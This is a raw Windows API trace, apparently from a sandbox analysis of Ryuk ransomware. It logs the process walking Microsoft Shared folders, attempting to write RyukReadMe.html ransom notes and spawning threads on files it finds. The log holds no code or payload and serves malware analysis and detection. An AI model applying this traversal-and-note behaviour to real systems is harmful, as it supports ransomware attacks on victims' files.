	[0131.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.594] GetLastError () returned 0x5
	[0131.595] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0131.595] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.595] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1
	[0131.595] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0
	[0131.595] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0131.596] SetLastError (dwErrCode=0x0) 
	[0131.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.596] GetLastError () returned 0x5
	[0131.596] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.596] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0131.596] SetLastError (dwErrCode=0x0) 
	[0131.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.597] GetLastError () returned 0x5
	[0131.597] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.597] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0131.597] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.598] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0131.598] SetLastError (dwErrCode=0x0) 
	[0131.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.598] GetLastError () returned 0x5
	[0131.598] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.599] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.599] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0131.599] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x8a, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0
	[0131.599] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.599] SetLastError (dwErrCode=0x0) 
	[0131.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.600] GetLastError () returned 0x5
	[0131.600] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.600] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0131.600] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0
	[0131.600] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0131.601] SetLastError (dwErrCode=0x0) 
	[0131.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.808] GetLastError () returned 0x5
	[0131.808] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.808] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0131.808] SetLastError (dwErrCode=0x0) 
	[0131.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.809] GetLastError () returned 0x5
	[0131.809] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0131.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0131.810] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.810] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0131.810] SetLastError (dwErrCode=0x0) 
	[0131.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.810] GetLastError () returned 0x5
	[0131.810] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1
	[0131.814] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1
	[0131.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0131.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0131.818] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1
	[0131.819] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x8e, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1
	[0131.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0131.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0131.821] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.821] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1
	[0131.822] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x8e, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0
